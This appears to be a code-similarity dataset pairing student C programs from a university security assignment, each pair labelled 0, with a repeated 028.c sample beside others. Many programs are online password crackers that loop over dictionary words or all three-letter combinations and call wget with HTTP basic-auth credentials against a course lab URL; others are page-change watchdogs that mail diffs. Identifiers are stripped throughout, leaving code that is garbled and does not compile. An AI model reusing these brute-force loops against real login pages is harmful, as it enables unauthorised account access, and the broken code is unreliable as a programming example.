if(pthread_create(&tid[i++], NULL, client, (void *))!=0) puts("Bad thread ...");
pthread_mutex_lock(&thread_lock);
while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock);
pthread_mutex_unlock(&thread_lock);
prev_min+=partition+1;
if(i==num_threads)
{
prev_max=combo_entries;
}
else
{
prev_max+=partition+1;
}
}
gettimeofday(&, NULL);
pthread_mutex_lock(&thread_lock);
thread_start_indicator=true;
pthread_mutex_unlock(&thread_lock);
pthread_cond_broadcast(&start_hacking);
printf("Created %d threads process %d passwords\n", num_threads, combo_entries);
printf("Attacking host: %s\n", host);
fflush(stdout);
for(i=0; i<num_threads && i<MAX_THREADS; i++) pthread_join(tid[i], NULL);
gettimeofday(&stop, NULL);
puts("Could not determine the password for this site.");
printf("About %d attempts were , which took %ld.%ld seconds complete.\n",
attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
fflush(stdout);
for(i=0; i<combo_entries; i++) (combination[i]);
(*combination);
return EXIT_SUCCESS;
}
| 0 |
028.c | 058.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<ctype.h>
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir Images");
if((fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"))==NULL)
{
system("cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt");
system("md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt");
fclose(fp);
exit(0);
}
else
{
fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r");
system("cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt");
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images");
fclose(fp);
}
system("mkdir Text");
if((fp=fopen("/home/s//SECAS02ANS/Text/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
exit(0);
}
else
{
fopen("/home/s//SECAS02ANS/Text/index.html","r");
system("diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("mv www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
fclose(fp);
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| 0 |
028.c | 033.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| 0 |
028.c | 070.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| 0 |
028.c | 000.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| 0 |
028.c | 023.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| 0 |
028.c | 076.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
| 0 |
028.c | 053.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>
int ()
{
int m,n,o,i;
char URL[255];
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
time_t u1,u2;
(void) time(&u1);
strcpy(temp1,"wget --http-user= --http-passwd=");
strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
for(m=0;m<=51;m++)
{
v[0]=[m];
v[1]='\0';
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
for(n=0;n<=51;n++)
{
v[0]=[m];
v[1]=[n];
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
for(o=0;o<=51;o++)
{
v[0]=[m];
v[1]=[n];
v[2]=[o];
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
}
}
}
}
| 0 |
028.c | 045.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
int ()
{
int t1, t2, t;
int timeinsec, nofattempts;
char url[100], url1[80];
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
char word[15], *chk;
chk = "word";
FILE *fp;
int syst = 1;
fp = fopen("words", "r");
t1 = time();
while(chk != NULL)
{
chk = fgets(word, 15, fp);
if (chk == NULL) exit(1);
word [ strlen(word) - 1 ] = '\0';
strcat(url, word);
strcat(url, url1);
nofattempts = nofattempts + 1;
printf("\n %s %d\n",word,nofattempts);
if (strlen(word) == 3)
syst = system(url);
if (syst == 0)
{
t2 = time();
t = t2 - t1;
timeinsec = t/1000000000;
printf("\n !!! here's the passowrd:- %s",word);
printf("\n Total .of atempts: %d\n",nofattempts);
printf("\n The total time_var taken: %d seconds", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
| 0 |
028.c | 031.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9
int ()
{ int startTime, stopTime, final;
int i,j,k;
FILE* fp;
int pass,len;
int count = 0;
char [50];
char url1[100];
char url2[100];
startTime = time();
fp = fopen("/usr/share/lib/dict/words","r");
while (fp !='\0')
{
fgets( ,50,fp);
len = strlen();
[strlen()-1] ='\0';
if(len <= 4)
{
count++;
printf("Checking for the word :%s\n",);
strcpy(url1 ,"wget --http-user= --http-passwd=");
strcat(url1,);
strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
strcat(url1,url2);
pass = system(url1);
if (pass == 0)
{
stopTime = time();
final = stopTime-startTime;
printf("\n SUCCESS\n");
printf("The password for the user : %s\n ",);
printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
printf("Number of attempts : %d\n",count);
exit(1);
}
}
}
}
| 0 |
028.c | 059.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MINSIZE 26
#define MAXSIZE 52
#define MAX_SIZE 255
int CrackPasswd(char *passwd)
{
int flag;
char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE];
strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
strcpy(string2," --http-user= --http-passwd='");
strcpy(,"");
strcat(, string1);
strcat(, string2);
strcat(, passwd);
strcat(, "'");
printf("Sending Request as %s\n",);
flag = system();
if (flag == 0)
{
printf("\nPassword is %s\n",passwd);
return 1;
}
strcpy(,"");
return 0;
}
int BruteForce(char *CharArray)
{
int i, j, k;
char passwd[MAX_SIZE];
for (i=0;i<MAX_SIZE;i++)
passwd[i] = '\0';
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
if(CrackPasswd(passwd) == 1)
return 1;
}
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
for(j=0;j<MAXSIZE;j++)
{
passwd[1] = CharArray[j];
if(CrackPasswd(passwd) == 1)
return 1;
}
}
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
for(j=0;j<MAXSIZE;j++)
{
passwd[1] = CharArray[j];
for(k=0;k<MAXSIZE;k++)
{
passwd[2] = CharArray[k];
if(CrackPasswd(passwd) == 1)
return 1;
}
}
}
return 0;
}
int (int argc, char *argv[])
{
char CharArray[MAXSIZE];
char ch='a';
int i,j;
int , end;
= time();
strcpy(CharArray,"");
for (i=0;i<MINSIZE;i++)
{
CharArray[i]=ch;
ch++;
}
ch='A';
for (i=MINSIZE;i<MAXSIZE;i++)
{
CharArray[i]=ch;
ch++;
}
if (argc != 1)
{
fprintf(stdout,"Usage : ./BruteForce \n");
return(EXIT_FAILURE);
}
BruteForce(CharArray);
getpid();
end = time();
printf("Time Required = %lld msec\n",(end-)/());
return (EXIT_SUCCESS);
}
| 0 |
028.c | 043.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
char word[15], *chk;
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir one");
system("mv www.cs.rmit.edu./images/*.* one/");
system("mv www.cs.rmit.edu./students/*.* one/");
sleep(15);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* two/");
system("mv www.cs.rmit.edu./students/*.* two/");
system("diff one two > difference.txt");
system("mailx -s \"Message1\" < difference.txt");
return 0;
}
| 0 |
028.c | 014.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#define MINCHAR 65
#define MAXCHAR 122
int bruteforce_first(int passlen, int *attempts);
int bruteforce_two(int passlen, int *attempts);
int bruteforce_three(int passlen, int *attempts);
int main()
{
int i, wdlen = 1;
int runtime;
int counter ;
int initTime = 0, exitTime = 0, runTime = 0;
initTime = time();
if (bruteforce_first(wdlen, &counter) == 2) {
wdlen++;
if (bruteforce_two(wdlen, &counter) == 3) {
wdlen++;
if (bruteforce_three(wdlen, &counter) == 0)
printf("Success In Breaking The Password");
else
printf("Failure !!!!!!");
}
} else {
printf("Success In Breaking The Password");
}
exitTime = time();
runTime = (exitTime - initTime);
printf("\nNumber of attempts is... %d", counter);
printf("\nTime taken is %lld milli seconds\n", (runTime)/());
return 0;
}
int bruteforce_first(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
puts(str);
(*attempts)++;
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully:");
printf("Password is %s", str);
return 0;
}
}
return 2;
}
int bruteforce_two(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
while (str[0] != MAXCHAR + 1)
{
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
(*attempts)++;
puts(str);
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully: ");
printf("Password is %s", str);
return 0;
}
}
i = 0;
if (str[i] == 'Z') {
str[i] = 'a';
} else
str[i]++;
}
return 3;
}
int bruteforce_three(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
while (str[0] != MAXCHAR + 1)
{
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
(*attempts)++;
puts(str);
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully: ");
printf("Password is %s", str);
return 0;
}
}
i = 1;
while (i <= passlen - 1) {
if (str[passlen - i - 1] == 'z') {
str[passlen - i - 1] = MINCHAR;
str[passlen - 1 - 2]++;
break;
} else {
if (str[passlen - i - 1] == 'Z') {
str[passlen - i - 1] = 'a';
break;
} else {
str[passlen - i - 1]++;
break;
}
}
i++;
}
}
return 0;
}
| 0 |
028.c | 050.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
FILE *fp;
char *chk,[4];
int i=1;
while (i == 1)
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir first");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* first/");
system("mv www.cs.rmit.edu./students/*.* first/");
sleep(86400);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("diff first second > imagesdifference.txt");
fp = fopen("imagesdifference.txt","r");
chk = fgets(, 4, fp);
if (strlen() != 0)
system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt");
}
return 0;
}
| 0 |
End of preview. Expand
in Dataset Viewer.
No dataset card yet
New: Create and edit this dataset card directly on the website!
Contribute a Dataset Card- Downloads last month
- 6